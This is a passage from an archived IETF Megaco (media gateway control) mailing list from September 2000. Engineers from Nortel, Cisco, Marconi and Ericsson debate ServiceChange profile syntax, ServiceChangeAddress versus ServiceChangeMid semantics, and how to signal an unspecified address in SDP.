OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeVersion&nbsp;&nbsp;&nbsp; INTEGER(0..99) OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; =
&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =
serviceChangeProfile&nbsp;&nbsp;&nbsp; SEQUENCE OF</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; ServiceChangeProfile OPTIONAL,</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; =
&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ...</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; }</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; B.2</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; =
&gt;&gt;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serviceChangeProfile =3D =
ProfileToken EQUAL NAME</FONT>
<BR><FONT SIZE=3D2>&gt; SLASH Version</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt; Cheers, Christian</FONT>
<BR><FONT SIZE=3D2>&gt; &gt; &gt;</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
<BR><FONT SIZE=3D2>&gt;</FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C0180A.DB168680--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 10:13:10 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA12938
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 10:13:09 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90B26@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:57:56 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19990 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 09:57:56 -0400
Received: from qhars002.nortel.com (47.101.112.102:43938) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB90B25@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:57:55
          -0400
Received: from ertpg14e1.nortelnetworks.com (actually zrtph06m) by
          qhars002.nortel.com; Wed, 6 Sep 2000 15:10:30 +0100
Received: from zrtpd004.us.nortel.com (actually zrtpd004) by
          ertpg14e1.nortelnetworks.com; Wed, 6 Sep 2000 10:09:38 -0400
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2652.35) id
          <SK4PGFDC>; Wed, 6 Sep 2000 10:08:47 -0400
X-Mailer: Internet Mail Service (5.5.2652.35)
Message-ID:  <28560036253BD41191A10000F8BCBD11480D29@zcard00g.ca.nortel.com>
Date:         Wed, 6 Sep 2000 10:08:34 -0400
Reply-To: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Tom-PT Taylor <taylor@NORTELNETWORKS.COM>
Subject:      Re: Profiles in Service Change
X-To:         Flemming Andreasen <fandreas@CISCO.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

When I raised the issue last spring the response was to wait until we got
more experience and had a better handle on requirements before playing with
the syntax.

> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
> Sent: Wednesday, September 06, 2000 10:01 AM
> To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Profiles in Service Change
>
>
> Michael P DiGioia wrote:
>
> > Brian,
> >
> > > > So does that mean that nobody can make an MG which
> supports more than
> > > > one profile? :-)
> >
> > >One way to get around the limitation is to try to get
> > >service using the most "featurefull" profile.  If you fail
> > >to find an MGC that can serve that profile, try again with
> > >a different profile.
> >
> > I agree. I believe the point is that any one MG can support
> one or more
> > profile, however, once the most featurefull profile is
> found to be accepted
> > by an MGC, use it.
>
> I disagree as Brian's comments assumes a meaningful ordering
> relation between
> (at least a resonable subset of) profiles based on some set
> of features
> supported. I don't see that. Christian's proposal of allowing
> a listing of
> profiles seemed pretty good to me - what was wrong with this again ?
>
> -- Flemming
>
> >
> >
> > What we build into our IpPhone MG is our choice. I don't
> believe this limits
> > us in any way. If so, how?
> >
> > /mpd
>
> --
> Flemming Andreasen
> Cisco Systems
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 10:13:11 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA12950
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 10:13:10 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90B2A@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:57:59 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 19995 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 09:57:58 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB90B24@standards.nortelnetworks.com>; Wed, 6 Sep 2000 9:57:54
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id KAA19470; Wed, 6 Sep 2000 10:10:54 -0400 (EDT)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.pit.comms.marconi.com
          [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id KAA27271; Wed, 6 Sep 2000 10:10:54 -0400 (EDT)
Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <SKAZ5M2R>; Wed, 6 Sep 2000 10:10:52 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF67880E@whq-msgusr-02.pit.comms.marconi.com>
Date:         Wed, 6 Sep 2000 10:10:45 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Profiles in Service Change
X-To:         Flemming Andreasen <fandreas@cisco.com>,
              Michael P DiGioia <mpd@WORLD.STD.COM>
X-cc:         Christian Groves <Christian.Groves@ERICSSON.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

What is wrong is that it promotes proliferation of
many overlapping profiles.  Profiles are supposed to be
a way of reducing the variability that Packages provide,
so that one could reasonably expect to be able to find
interoperable MGs and MGCs.

No one can legislate this (no protocol police...), but
we can encourage, or discourage proliferation of
many profiles that attempt to solve the same problem
different ways.  If you support 100 profiles, you may
as well just ignore the profile info and look at the
audited package list!

I want to make it HARD to have more than one profile
per MG (not MGC).  Not impossible, just hard.  I think
that will encourage coalescing around a small number of
profiles for specific purposes that all relevant MGs and
MGCs support, which in turn will make the protocol successful.

What I fear is balkanization by proliferation of profiles,
which leads to non-interoperable devices.  It would be non
interoperable because there were no common profiles, rather
that if you found a common one, it wouldn't work.  The
package mechanism is a wonderful way to have all sorts of
extensions and features in MGs.  The profile mechanism was
designed to provide a way to corral the easy expansion into
more limited groups of options.  Generally, successful
protocols are not easy "bent" in many different ways -> you
get ONE way, and everyone does it that way, and the world
is better for it.  The package thing is great, but it is
a danger.  The profile is the only way I know to limit it's
potential to undermine the effectiveness of the protocol.

Brian

> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreas@cisco.com]
> Sent: Wednesday, September 06, 2000 10:01 AM
> To: Michael P DiGioia
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM; Christian Groves;
> Rosen, Brian
> Subject: Re: Profiles in Service Change
>
>
>
>
> Michael P DiGioia wrote:
>
> > Brian,
> >
> > > > So does that mean that nobody can make an MG which
> supports more than
> > > > one profile? :-)
> >
> > >One way to get around the limitation is to try to get
> > >service using the most "featurefull" profile.  If you fail
> > >to find an MGC that can serve that profile, try again with
> > >a different profile.
> >
> > I agree. I believe the point is that any one MG can support
> one or more
> > profile, however, once the most featurefull profile is
> found to be accepted
> > by an MGC, use it.
>
> I disagree as Brian's comments assumes a meaningful ordering
> relation between
> (at least a resonable subset of) profiles based on some set
> of features
> supported. I don't see that. Christian's proposal of allowing
> a listing of
> profiles seemed pretty good to me - what was wrong with this again ?
>
> -- Flemming
>
> >
> >
> > What we build into our IpPhone MG is our choice. I don't
> believe this limits
> > us in any way. If so, how?
> >
> > /mpd
>
> --
> Flemming Andreasen
> Cisco Systems
>
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 10:25:48 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA13318
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 10:25:47 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90B69@standards.nortelnetworks.com>; Wed, 6 Sep 2000 10:10:58 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 20075 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 10:10:58 -0400
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB90B68@standards.nortelnetworks.com>; Wed, 6 Sep 2000 10:10:57
          -0400
Received: from cisco.com (ssh.cisco.com [171.69.10.34]) by mailman.cisco.com
          (8.9.3/8.9.1) with ESMTP id HAA23922; Wed, 6 Sep 2000 07:23:52 -0700
          (PDT)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF67880E@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B65482.44124F69@cisco.com>
Date:         Wed, 6 Sep 2000 10:28:19 -0400
Reply-To: Flemming Andreasen <fandreas@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Flemming Andreasen <fandreas@CISCO.COM>
Organization: Cisco Systems
Subject:      Re: Profiles in Service Change
X-To:         "Rosen, Brian" <Brian.Rosen@marconi.com>
X-cc:         Michael P DiGioia <mpd@WORLD.STD.COM>,
              Christian Groves <Christian.Groves@ERICSSON.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

OK - I'll buy that.

-- Flemming

"Rosen, Brian" wrote:

> What is wrong is that it promotes proliferation of
> many overlapping profiles.  Profiles are supposed to be
> a way of reducing the variability that Packages provide,
> so that one could reasonably expect to be able to find
> interoperable MGs and MGCs.
>
> No one can legislate this (no protocol police...), but
> we can encourage, or discourage proliferation of
> many profiles that attempt to solve the same problem
> different ways.  If you support 100 profiles, you may
> as well just ignore the profile info and look at the
> audited package list!
>
> I want to make it HARD to have more than one profile
> per MG (not MGC).  Not impossible, just hard.  I think
> that will encourage coalescing around a small number of
> profiles for specific purposes that all relevant MGs and
> MGCs support, which in turn will make the protocol successful.
>
> What I fear is balkanization by proliferation of profiles,
> which leads to non-interoperable devices.  It would be non
> interoperable because there were no common profiles, rather
> that if you found a common one, it wouldn't work.  The
> package mechanism is a wonderful way to have all sorts of
> extensions and features in MGs.  The profile mechanism was
> designed to provide a way to corral the easy expansion into
> more limited groups of options.  Generally, successful
> protocols are not easy "bent" in many different ways -> you
> get ONE way, and everyone does it that way, and the world
> is better for it.  The package thing is great, but it is
> a danger.  The profile is the only way I know to limit it's
> potential to undermine the effectiveness of the protocol.
>
> Brian
>
> > -----Original Message-----
> > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > Sent: Wednesday, September 06, 2000 10:01 AM
> > To: Michael P DiGioia
> > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM; Christian Groves;
> > Rosen, Brian
> > Subject: Re: Profiles in Service Change
> >
> >
> >
> >
> > Michael P DiGioia wrote:
> >
> > > Brian,
> > >
> > > > > So does that mean that nobody can make an MG which
> > supports more than
> > > > > one profile? :-)
> > >
> > > >One way to get around the limitation is to try to get
> > > >service using the most "featurefull" profile.  If you fail
> > > >to find an MGC that can serve that profile, try again with
> > > >a different profile.
> > >
> > > I agree. I believe the point is that any one MG can support
> > one or more
> > > profile, however, once the most featurefull profile is
> > found to be accepted
> > > by an MGC, use it.
> >
> > I disagree as Brian's comments assumes a meaningful ordering
> > relation between
> > (at least a resonable subset of) profiles based on some set
> > of features
> > supported. I don't see that. Christian's proposal of allowing
> > a listing of
> > profiles seemed pretty good to me - what was wrong with this again ?
> >
> > -- Flemming
> >
> > >
> > >
> > > What we build into our IpPhone MG is our choice. I don't
> > believe this limits
> > > us in any way. If so, how?
> > >
> > > /mpd
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
> >
> >

--
Flemming Andreasen
Cisco Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 10:36:38 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA13692
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 10:36:32 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90B86@standards.nortelnetworks.com>; Wed, 6 Sep 2000 10:21:40 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 20109 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 10:21:39 -0400
Received: from mailman.cisco.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1b) with SMTP id
          <0.FFB90B85@standards.nortelnetworks.com>; Wed, 6 Sep 2000 10:21:39
          -0400
Received: from cisco.com (ssh.cisco.com [171.69.10.34]) by mailman.cisco.com
          (8.9.3/8.9.1) with ESMTP id HAA27226; Wed, 6 Sep 2000 07:34:19 -0700
          (PDT)
X-Mailer: Mozilla 4.72 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF6787FA@whq-msgusr-02.pit.comms.marconi.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B656F5.7006520B@cisco.com>
Date:         Wed, 6 Sep 2000 10:38:45 -0400
Reply-To: Flemming Andreasen <fandreas@CISCO.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Flemming Andreasen <fandreas@CISCO.COM>
Organization: Cisco Systems
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         "Rosen, Brian" <Brian.Rosen@MARCONI.COM>,
              Tom-PT Taylor <taylor@nortelnetworks.com>,
              Bharat Kaul <bharat@TRILLIUM.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

So do we have any consensus resolution on this issue ?

-- Flemming

"Rosen, Brian" wrote:

> Yeah, the mId started life as the thing in the header that let an
> MGC know which entity it was talking to.  It's always been an
> address though - desirable as an FQDN and acceptable to be a hard
> address.
>
> The intention of ServiceChangeMid was to be the referral address for an
> association that was not acceptable to the MGC.  ServiceChangeAddress used
> to be port, and it was just for changing port numbers, not addresses.  We
> went downhill (IMO) from there.
>
> I'm with Flemming, one thing is all we need, but we are stuck with 2 for
> now.
>
> Brian
>
> > -----Original Message-----
> > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> > Sent: Tuesday, September 05, 2000 3:16 PM
> > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > Subject: Re: Supplying only a port on a ServiceChangeAddress
> >
> >
> > I think we agree that MId is just an identifier of a peer in a control
> > session.  I still ask myself why we defined it to be an
> > address rather than
> > an arbitrary string.  I suspect we changed intentions since
> > it first showed
> > up.
> >
> > > -----Original Message-----
> > > From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
> > > Sent: Tuesday, September 05, 2000 3:12 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > >
> > >
> > > Bharat Kaul wrote:
> > >
> > > > Hi Flemming, Brian and List,
> > > >
> > > >   ServiceChangeMGCId should be kept for contacting a new
> > > MGC or rather
> > > > establishing new control Session.
> > > >
> > > > ServiceChangeAddress is for redirection within a MGC e.g.
> > > MG contacts MGC at
> > > > a default port and based on some policy MGC wants to assign
> > > MG to a specific
> > > > port, it should send ServiceChangeAddress specifying the
> > > port.These two
> > > > semantics seem clear and fair enough.
> > >
> > > I quite frankly don't understand the need for having port as
> > > an identifier and
> > > then being able to specify another port to override it, while
> > > keeping the
> > > identifier port the same.
> > >
> > >
> > > >
> > > >
> > > > Port in MID should be just a tool to identify an entity
> > > uniquely, with one
> > > > requirement that MID for a control session is consistent
> > between two
> > > > entities.
> > >
> > > In that case it should be called something different than a
> > > port, or at least be
> > > treated as something different.
> > >
> > > -- Flemming
> > >
> > >
> > > >
> > > >
> > > > - Bharat
> > > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [mailto:fandreas@CISCO.COM]
> > > > Sent: Tuesday, September 05, 2000 8:29 AM
> > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > >
> > > > Let's take a step back here and ask ourselves what we are
> > > trying to achieve:
> > > >
> > > > 1. We have a need to identify the entity we wish to
> > communicate with
> > > > 2. We have a need to communicate with that entity.
> > > >
> > > > This is a classical naming issue that doesn't need to
> > become overly
> > > > complicated. In order to get from the name in 1 to the
> > > address (or route) in
> > > > 2, you need to perform name resolution in the cases where
> > > the name itself is
> > > > not an address. For domain names, this name resolution is
> > > achieved by DNS,
> > > > for IP-addresses, it should normally be a NOP. By having both
> > > > ServiceChangeMGGId and ServiceChangeAddress, you are
> > > effectively providing
> > > > an alternate name resolution mechanism which overrides DNS
> > > and allows one
> > > > IP-address to map to another. We should not be doing that,
> > > and I also note
> > > > that this was probably not the authors' intent, since
> > > ServiceChangeAddress
> > > > and ServiceChangeMGCId are not both allowed in a single command.
> > > >
> > > > That still leaves open the question of exactly what
> > > ServiceChangeAddress
> > > > then is, and I believe Brian answered that earlier with his
> > > two proposals.
> > > > In a perfect world, I would prefer getting rid of
> > > ServiceChangeAddress, but
> > > > we may be beyond that. Does it make sense to allow just a
> > > port number then ?
> > > > Considering that we already allow for port in mId, port is
> > > part of the name
> > > > and for the same reasons as we shouldn't map one IP-address
> > > to another, we
> > > > shouldn't map one port to another either IMO. If the MGC
> > > (or MG) wants the
> > > > other party to talk to it on another port, it simply sends
> > > back another
> > > > ServiceChangeMGCId with that port number in it.
> > > >
> > > > -- Flemming
> > > >
> > > > "Rosen, Brian" wrote:
> > > >
> > > > > It depends on what you want to have happen.
> > > > >
> > > > > If you want the MG, on receipt of a reply with a
> > > ServiceChangeAddress,
> > > > > to tear down it's current transport connection, create
> > a new one,
> > > > > and stand by for messages from the MGC, then I suppose
> > > you would be
> > > > > correct.
> > > > >
> > > > > If it was TCP (and I guess SCTP), this is pretty weird,
> > > because the
> > > > > MG established a full duplex connection, but the next message is
> > > > > almost certainly from the MGC.  The MGC is going to have
> > > to watch for
> > > > > this carefully, and not send messages until the new
> > channel is up.
> > > > >
> > > > > Or, the MGC can just use ServiceChangeMid.  The MG will
> > respond by
> > > > > tearing down the transport, establishing a new one, and sending
> > > > > a new ServiceChange.  The MGC "fires and forgets" -- the new
> > > > > ServiceChange, at the "new" address, looks like a
> > > complete new start.
> > > > >
> > > > > Brian
> > > > >
> > > > > -----Original Message-----
> > > > > From: Christian Groves
> > > > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > Sent: 9/3/00 7:38 PM
> > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > >
> > > > > G'Day Brian and Flemming,
> > > > >
> > > > > I saw that the difference between when you use
> > > ServiceChangeAddress and
> > > > > ServiceChangeMid was that the ServiceChangeAddress was
> > > used when talking
> > > > > to an already contacted physical MGC. The
> > > ServiceChangeMid was used to
> > > > > contact a physically seperate MGC. So I don't see the need of
> > > > > disallowing anything but the port in IP as the MGC may
> > > have a range of
> > > > > addresses.
> > > > >
> > > > > Cheers, Christian
> > > > >
> > > > > "Rosen, Brian" wrote:
> > > > > >
> > > > > > I thought you might say that, I've been thinking about it
> > > > > > since I sent the message.
> > > > > >
> > > > > > Posing the question slightly differently, if the
> > > ServiceChangeAddress
> > > > > > can do what ServiceChangeMid can do, so why have two
> > mechanisms?
> > > > > > The only difference would be the MGs actions.  If you used
> > > > > > ServiceChangeAddress,
> > > > > > the MG would not send a new ServiceChange command to
> > > the new address.
> > > > > > If you used ServiceChangeMid, it would.  The end result
> > > would be the
> > > > > same.
> > > > > >
> > > > > > We can:
> > > > > >         Explicitly disallow ServiceChangeAddress from
> > > being used to
> > > > > >                 change anything but IP Port when used with IP
> > > > > >         Get rid of one of the two of them
> > > > > >
> > > > > > I favor the former, as that is easiest, is most
> > consistent with
> > > > > > history, and makes the most sense to me.  I'll note that what
> > > > > > we call ServiceChangeAddress used to be "port".  It got
> > > > > > changed when we realized "port" wouldn't make sense if it was
> > > > > > not an IP transport.
> > > > > >
> > > > > > Brian
> > > > > >
> > > > > > > -----Original Message-----
> > > > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > > > Sent: Tuesday, August 29, 2000 7:37 PM
> > > > > > > To: Rosen, Brian
> > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > >
> > > > > > > "Rosen, Brian" wrote:
> > > > > > >
> > > > > > > > I think the issue is that you can have the same MGC
> > > have multiple
> > > > > > > > IP addresses.  You accept the association, but
> > > change the address.
> > > > > > > > Say, a pool of servers appearing to be one MGC.
> > > > > > >
> > > > > > > I'm not sure I fully understand what an association is then.
> > > > > > > What's the
> > > > > > > difference/relationship between the association
> > > address and the
> > > > > > > ServiceChangeMgcId (which may itself contain an address or
> > > > > indirectly
> > > > > > > refer to a number of addresses through DNS) ?
> > > > > > >
> > > > > > > -- Flemming
> > > > > > >
> > > > > > >
> > > > > > > >
> > > > > > > >
> > > > > > > > Brian
> > > > > > > >
> > > > > > > > > -----Original Message-----
> > > > > > > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > > > > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > > > > > > To: Rosen, Brian
> > > > > > > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > > > > > > Subject: Re: Supplying only a port on a
> > > ServiceChangeAddress
> > > > > > > > >
> > > > > > > > >
> > > > > > > > >
> > > > > > > > >
> > > > > > > > > "Rosen, Brian" wrote:
> > > > > > > > >
> > > > > > > > > > Suppose all you want to specify in a
> > > ServiceChangeAddress
> > > > > > > > > is a port number
> > > > > > > > > > that is, the IP address doesn't change, but the
> > > port does.
> > > > > > > > > >
> > > > > > > > > > The ABNF sez:
> > > > > > > > > > serviceChangeAddress =
> > > ServiceChangeAddressToken EQUAL VALUE
> > > > > > > > > >
> > > > > > > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > > > > > > >
> > > > > > > > > > The example shows just a port number.
> > > > > > > > >
> > > > > > > > > Actually, I thought that's all that would be
> > > allowed in the
> > > > > > > > > case of IP. If
> > > > > > > > > not, how can it be within the "context of the
> > association
> > > > > > > > > currently being
> > > > > > > > > negotiated", and how would it then relate to
> > > ServiceChangeMgcId
> > > > > ?
> > > > > > > > >
> > > > > > > > > -- Flemming
> > > > > > > > >
> > > > > > > > > >
> > > > > > > > > >
> > > > > > > > > > Should that be legal?  Should you have to
> > specify the IP
> > > > > address
> > > > > > > > > > as x.x.x.x:p?
> > > > > > > > > >
> > > > > > > > > > Brian
> > > > > > > > >
> > > > > > > > > --
> > > > > > > > > Flemming Andreasen
> > > > > > > > > Cisco Systems
> > > > > > > > >
> > > > > > > > >
> > > > > > >
> > > > > > > --
> > > > > > > Flemming Andreasen
> > > > > > > Cisco Systems
> > > > > > >
> > > > > > >
> > > >
> > > > --
> > > > Flemming Andreasen
> > > > Cisco Systems
> > >
> > > --
> > > Flemming Andreasen
> > > Cisco Systems
> > >
> >

--
Flemming Andreasen
Cisco Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Wed Sep  6 10:42:11 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA13859
	for <megaco-archive@LISTS.IETF.ORG>; Wed, 6 Sep 2000 10:42:07 -0400 (EDT)
Received: from standards (47.234.32.16:2575) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB90BA6@standards.nortelnetworks.com>; Wed, 6 Sep 2000 10:27:15 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 20108 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Wed, 6 Sep 2000 10:27:14 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB90B84@standards.nortelnetworks.com>; Wed, 6 Sep 2000 10:17:13
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id KAA21397; Wed, 6 Sep 2000 10:30:14 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id KAA02338; Wed, 6 Sep 2000 10:30:15 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XHSLB>; Wed, 6 Sep 2000 10:30:15 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <9523A991F7AED311A8B900508B6701F4378827@dl-msgusr-01.eu.fore.com>
Date:         Wed, 6 Sep 2000 10:27:30 -0400
Reply-To: "Mackey, Michael" <Michael.Mackey@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Mackey, Michael" <Michael.Mackey@MARCONI.COM>
Subject:      Re: Is Media required on the Physical Termination/Default value f
              or M  ODE
X-To:         Flemming Andreasen <fandreas@cisco.com>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

I have to say I MUCH prefer the way the guys writing the SDP/ATM spec did it
(using the '-' to indicate not used) but as long as everyone agrees that
0.0.0.0 port 0 indicates an IP address not specified and it makes its way
into the Implementors guide ... fair enough

Michael Mackey,
Marconi Communications,
Tel: +353 1 6638407
- www.marconi.com <http://www.marconi.com>  -


> -----Original Message-----
> From: Flemming Andreasen [mailto:fandreas@cisco.com]
> Sent: Wednesday, September 06, 2000 2:53 PM
> To: Mackey, Michael
> Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> Subject: Re: Is Media required on the Physical
> Termination/Default value
> for M ODE
>
>
> Right - SIP uses the "0.0.0.0" address trick for this.
>
> -- Flemming
>
> "Mackey, Michael" wrote:
>
> > My understanding of the SDP ABNF is that the c= line is
> mandatory at either
> > the session level or the media level and it strictly
> specifies it to be
> >
> >    connection-field =    ["c=" nettype space addrtype space
> >                          connection-address CRLF]
> >
> > which doesn't allow an empty line after the c= ....
> >
> > Michael Mackey,
> > Marconi Communications,
> > Tel: +353 1 6638407
> > - www.marconi.com <http://www.marconi.com>  -
> >
> > > -----Original Message-----
> > > From: Tom-PT Taylor [mailto:taylor@NORTELNETWORKS.COM]
> > > Sent: Tuesday, September 05, 2000 7:40 PM
> > > To: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > Subject: Re: Is Media required on the Physical
> > > Termination/Default value
> > > f or M ODE
> > >
> > >
> > > Why not send a blank "c=" line?
> > >
> > > -----Original Message-----
> > > From: Mackey, Michael [mailto:Michael.Mackey@MARCONI.COM]
